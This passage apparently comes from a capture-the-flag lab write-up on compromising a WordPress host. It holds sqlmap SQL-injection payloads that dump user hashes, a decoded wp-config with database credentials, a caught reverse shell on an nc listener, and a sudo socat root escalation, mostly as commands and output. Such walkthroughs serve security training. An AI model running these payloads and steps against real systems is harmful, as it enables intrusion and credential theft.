sqlmap -r req -p list_id --sql-query="SELECT column_name FROM information_schema.columns WHERE table_schema='wordpress' AND table_name='wp_users'"
---
Parameter: list_id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: list_id=0 AND (SELECT 7122 FROM (SELECT(SLEEP(5)))GeIn)&pl=/var/www/html/wordpress/wp-load.php
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: list_id=0 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71627a7871,0x62626670517241676b6c7a695845716b4b76794b595a6a506c6a5a65554b594b4352627a56595257,0x71627a7871),NULL,NULL,NULL,NULL,NULL-- -&pl=/var/www/html/wordpress/wp-load.php
---
[14:45:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[14:45:30] [INFO] fetching SQL SELECT statement query output: 'SELECT column_name FROM information_schema.columns WHERE table_schema='wordpress' AND table_name='wp_users''
[14:45:31] [WARNING] reflective value(s) found and filtering out
SELECT column_name FROM information_schema.columns WHERE table_schema='wordpress' AND table_name='wp_users' [10]:
[*] display_name
[*] ID
[*] user_activation_key
[*] user_email
[*] user_login
[*] user_nicename
[*] user_pass
[*] user_registered
[*] user_status
[*] user_url
[14:45:31] [INFO] fetched data logged to text files under '/home/melvin/.local/share/sqlmap/output/10.66.166.198'
[*] ending @ 14:45:31 /2026-03-16/
```bash
sqlmap -r req -p list_id --sql-query="SELECT * FROM wordpress.wp_users"
---
Parameter: list_id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: list_id=0 AND (SELECT 7122 FROM (SELECT(SLEEP(5)))GeIn)&pl=/var/www/html/wordpress/wp-load.php
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: list_id=0 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71627a7871,0x62626670517241676b6c7a695845716b4b76794b595a6a506c6a5a65554b594b4352627a56595257,0x71627a7871),NULL,NULL,NULL,NULL,NULL-- -&pl=/var/www/html/wordpress/wp-load.php
---
[14:47:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[14:47:28] [INFO] fetching SQL SELECT statement query output: 'SELECT * FROM wordpress.wp_users'
[14:47:28] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[14:47:28] [INFO] fetching columns for table 'wp_users' in database 'wordpress'
[14:47:28] [WARNING] reflective value(s) found and filtering out
[14:47:28] [INFO] the query with expanded column name(s) is: SELECT ID, display_name, user_activation_key, user_email, user_login, user_nicename, user_pass, user_registered, user_status, user_url FROM wordpress.wp_users
SELECT * FROM wordpress.wp_users: '1,elyana,,none@none.com,elyana,elyana,$P$BhwVLVLk5fGRPyoEfmBfVs82bY7fSq1,2020-10-05 19:55:50,0,http://192.168.8.110/wordpress'
[14:47:28] [INFO] fetched data logged to text files under '/home/melvin/.local/share/sqlmap/output/10.66.166.198'
[*] ending @ 14:47:28 /2026-03-16/
```
```bash
echo '$P$BhwVLVLk5fGRPyoEfmBfVs82bY7fSq1' > elyana.hash
```
```bash
hashcat --identify elyana.hash
The following hash-mode match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
400 | phpass | Generic KDF
```
```bash
echo 'PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUNCiAqIGluc3RhbGxhdGlvbi4gWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbg0KICogY29weSB0aGlzIGZpbGUgdG8gIndwLWNvbmZpZy5waHAiIGFuZCBmaWxsIGluIHRoZSB2YWx1ZXMuDQogKg0KICogVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgY29uZmlndXJhdGlvbnM6DQogKg0KICogKiBNeVNRTCBzZXR0aW5ncw0KICogKiBTZWNyZXQga2V5cw0KICogKiBEYXRhYmFzZSB0YWJsZSBwcmVmaXgNCiAqICogQUJTUEFUSA0KICoNCiAqIEBsaW5rIGh0dHBzOi8vd29yZHByZXNzLm9yZy9zdXBwb3J0L2FydGljbGUvZWRpdGluZy13cC1jb25maWctcGhwLw0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQoNCi8vICoqIE15U1FMIHNldHRpbmdzIC0gWW91IGNhbiBnZXQgdGhpcyBpbmZvIGZyb20geW91ciB3ZWIgaG9zdCAqKiAvLw0KLyoqIFRoZSBuYW1lIG9mIHRoZSBkYXRhYmFzZSBmb3IgV29yZFByZXNzICovDQpkZWZpbmUoICdEQl9OQU1FJywgJ3dvcmRwcmVzcycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHVzZXJuYW1lICovDQpkZWZpbmUoICdEQl9VU0VSJywgJ2VseWFuYScgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICdIQGNrbWVAMTIzJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0Kd29yZHByZXNzOw0KZGVmaW5lKCAnV1BfU0lURVVSTCcsICdodHRwOi8vJyAuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicvd29yZHByZXNzJyk7DQpkZWZpbmUoICdXUF9IT01FJywgJ2h0dHA6Ly8nIC4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy93b3JkcHJlc3MnKTsNCg0KLyoqI0ArDQogKiBBdXRoZW50aWNhdGlvbiBVbmlxdWUgS2V5cyBhbmQgU2FsdHMuDQogKg0KICogQ2hhbmdlIHRoZXNlIHRvIGRpZmZlcmVudCB1bmlxdWUgcGhyYXNlcyENCiAqIFlvdSBjYW4gZ2VuZXJhdGUgdGhlc2UgdXNpbmcgdGhlIHtAbGluayBodHRwczovL2FwaS53b3JkcHJlc3Mub3JnL3NlY3JldC1rZXkvMS4xL3NhbHQvIFdvcmRQcmVzcy5vcmcgc2VjcmV0LWtleSBzZXJ2aWNlfQ0KICogWW91IGNhbiBjaGFuZ2UgdGhlc2UgYXQgYW55IHBvaW50IGluIHRpbWUgdG8gaW52YWxpZGF0ZSBhbGwgZXhpc3RpbmcgY29va2llcy4gVGhpcyB3aWxsIGZvcmNlIGFsbCB1c2VycyB0byBoYXZlIHRvIGxvZyBpbiBhZ2Fpbi4NCiAqDQogKiBAc2luY2UgMi42LjANCiAqLw0KZGVmaW5lKCAnQVVUSF9LRVknLCAgICAgICAgICd6a1klbSVSRlliOnUsL2xxLWlafjhmakVOZElhU2I9Xms8M1pyLzBEaUxacVB4enxBdXFsaTZsWi05RFJhZ0pQJyApOw0KZGVmaW5lKCAnU0VDVVJFX0FVVEhfS0VZJywgICdpQVlhazxfJn52OW8re2JAUlBSNjJSOSBUeS0gNlUteUg1YmFVRHs7bmRTaUNbXXFvc3hTQHNjdSZTKWQkSFtUJyApOw0KZGVmaW5lKCAnTE9HR0VEX0lOX0tFWScsICAgICdhUGRfKnNCZj1adWMrK2FdNVZnOT1QfnUwM1EsenZwW2VVZS99KUQ9Ok55aFVZe0tYUl10N300MlVwa1tyNz9zJyApOw0KZGVmaW5lKCAnTk9OQ0VfS0VZJywgICAgICAgICdAaTtUKHt4Vi9mdkUhcyteZGU3ZTRMWDN9TlRAIGo7YjRbejNfZkZKYmJXKG5vIDNPN0ZAc3gwIW95KE9gaCNNJyApOw0KZGVmaW5lKCAnQVVUSF9TQUxUJywgICAgICAgICdCIEFUQGk+KiBOI1c8biEqfGtGZE1uUU4pPl49XihpSHA4VXZnPH4ySH56Rl1pZHlRPXtAfTF9KnJ7bFowLFdZJyApOw0KZGVmaW5lKCAnU0VDVVJFX0FVVEhfU0FMVCcsICdoeDhJOitUejhuMzM1V2htels+JFVaOzhyUVlLPlJ6XVZHeUJkbW83PSZHWiFMTyxwQU1zXWYhelZ9eG46NEFQJyApOw0KZGVmaW5lKCAnTE9HR0VEX0lOX1NBTFQnLCAgICd4N3I+fGMwTUxecztTdzIqVSF4LntgNUQ6UDF9Vz0gL2Npe1E8dEVNPXRyU3YxZWVkfF9mc0xgeV5TLFhJPFJZJyApOw0KZGVmaW5lKCAnTk9OQ0VfU0FMVCcsICAgICAgICd2T2IlV3R5fSR6eDlgfD40NUlwQHN5WiBdRzpDM3xTZEQtUDM8e1lQOi5qUERYKUh9d0dtMSpKXk1TYnMkMWB8JyApOw0KDQovKiojQC0qLw0KDQovKioNCiAqIFdvcmRQcmVzcyBEYXRhYmFzZSBUYWJsZSBwcmVmaXguDQogKg0KICogWW91IGNhbiBoYXZlIG11bHRpcGxlIGluc3RhbGxhdGlvbnMgaW4gb25lIGRhdGFiYXNlIGlmIHlvdSBnaXZlIGVhY2gNCiAqIGEgdW5pcXVlIHByZWZpeC4gT25seSBudW1iZXJzLCBsZXR0ZXJzLCBhbmQgdW5kZXJzY29yZXMgcGxlYXNlIQ0KICovDQokdGFibGVfcHJlZml4ID0gJ3dwXyc7DQoNCi8qKg0KICogRm9yIGRldmVsb3BlcnM6IFdvcmRQcmVzcyBkZWJ1Z2dpbmcgbW9kZS4NCiAqDQogKiBDaGFuZ2UgdGhpcyB0byB0cnVlIHRvIGVuYWJsZSB0aGUgZGlzcGxheSBvZiBub3RpY2VzIGR1cmluZyBkZXZlbG9wbWVudC4NCiAqIEl0IGlzIHN0cm9uZ2x5IHJlY29tbWVuZGVkIHRoYXQgcGx1Z2luIGFuZCB0aGVtZSBkZXZlbG9wZXJzIHVzZSBXUF9ERUJVRw0KICogaW4gdGhlaXIgZGV2ZWxvcG1lbnQgZW52aXJvbm1lbnRzLg0KICoNCiAqIEZvciBpbmZvcm1hdGlvbiBvbiBvdGhlciBjb25zdGFudHMgdGhhdCBjYW4gYmUgdXNlZCBmb3IgZGVidWdnaW5nLA0KICogdmlzaXQgdGhlIGRvY3VtZW50YXRpb24uDQogKg0KICogQGxpbmsgaHR0cHM6Ly93b3JkcHJlc3Mub3JnL3N1cHBvcnQvYXJ0aWNsZS9kZWJ1Z2dpbmctaW4td29yZHByZXNzLw0KICovDQpkZWZpbmUoICdXUF9ERUJVRycsIGZhbHNlICk7DQoNCi8qIFRoYXQncyBhbGwsIHN0b3AgZWRpdGluZyEgSGFwcHkgcHVibGlzaGluZy4gKi8NCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==' | base64 -d > wp-config.php
```
```php
* N#W^=^(iHp8Uvg<~2H~zF]idyQ={@}1}*r{lZ0,WY' );
define( 'SECURE_AUTH_SALT', 'hx8I:+Tz8n335Whmz[>$UZ;8rQYK>Rz]VGyBdmo7=&GZ!LO,pAMs]f!zV}xn:4AP' );
define( 'LOGGED_IN_SALT', 'x7r>|c0ML^s;Sw2*U!x.{`5D:P1}W= /ci{Q45Ip@syZ ]G:C3|SdD-P3<{YP:.jPDX)H}wGm1*J^MSbs$1`|' );
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
```
```bash
nc -lnvp 1111
Listening on 0.0.0.0 1111
```
```bash
nc -lnvp 1111
Listening on 0.0.0.0 1111
Connection received on 10.66.166.198 56742
Linux ip-10-66-166-198 5.15.0-138-generic #148~20.04.1-Ubuntu SMP Fri Mar 28 14:32:35 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
18:28:08 up 1:01, 0 users, load average: 0.00, 0.00, 0.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```
[interactive-shell](https://estebanzarate.gitbook.io/hackache/linux/interactive-shell "mention")
## Lateral movement
```bash
www-data@ip-10-66-166-198:/$ cat /etc/passwd | grep -v nologin | awk -F ':' '{print $1}'
root
sync
lxd
pollinate
elyana
mysql
tss
ubuntu
```
```bash
www-data@ip-10-66-166-198:/home/elyana$ cat hint.txt
Elyana's user password is hidden in the system. Find it ;)
```
```bash
www-data@ip-10-66-166-198:/home/elyana$ find / -readable -user elyana 2>/dev/null -exec ls -l {} \;
total 8
-rw-rw-r-- 1 elyana elyana 59 Oct 6 2020 hint.txt
-rw------- 1 elyana elyana 61 Oct 6 2020 user.txt
total 4
drwx------ 3 elyana elyana 4096 Oct 5 2020 share
-rw-r--r-- 1 elyana elyana 220 Apr 4 2018 /home/elyana/.bash_logout
-rw-rw-r-- 1 elyana elyana 59 Oct 6 2020 /home/elyana/hint.txt
-rw-r--r-- 1 elyana elyana 807 Apr 4 2018 /home/elyana/.profile
-rw-r--r-- 1 elyana elyana 0 Oct 5 2020 /home/elyana/.sudo_as_admin_successful
-rw-r--r-- 1 elyana elyana 3771 Apr 4 2018 /home/elyana/.bashrc
-rwxrwxrwx 1 elyana elyana 34 Oct 5 2020 /etc/mysql/conf.d/private.txt
```
```bash
www-data@ip-10-66-166-198:/home/elyana$ cat /etc/mysql/conf.d/private.txt
user: elyana
password: E@syR18ght
```
```bash
www-data@ip-10-66-166-198:/home/elyana$ su elyana
Password:
elyana@ip-10-66-166-198:~$ ls
hint.txt user.txt
elyana@ip-10-66-166-198:~$ cat user.txt
VEh******************************************************259
```
```bash
echo 'VEh******************************************************259' | base64 -d; echo
```
## User flag
{% hint style="success" %}
THM\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*sn}
{% endhint %}
## Privilege escalation
```bash
elyana@ip-10-66-166-198:~$ sudo -l
Matching Defaults entries for elyana on ip-10-66-166-198:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User elyana may run the following commands on ip-10-66-166-198:
(ALL) NOPASSWD: /usr/bin/socat
```
```bash
elyana@ip-10-66-166-198:~$ sudo socat - exec:/bin/sh,pty,ctty,raw,echo=0
/bin/sh: 0: can't access tty; job control turned off
# cd /root
# ls
root.txt snap
# cat root.txt
VEh******************************************************Th9
```
```bash
echo 'VEh******************************************************Th9' | base64 -d; echo
```
## Root flag
{% hint style="success" %}
THM\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*i8}
{% endhint %}
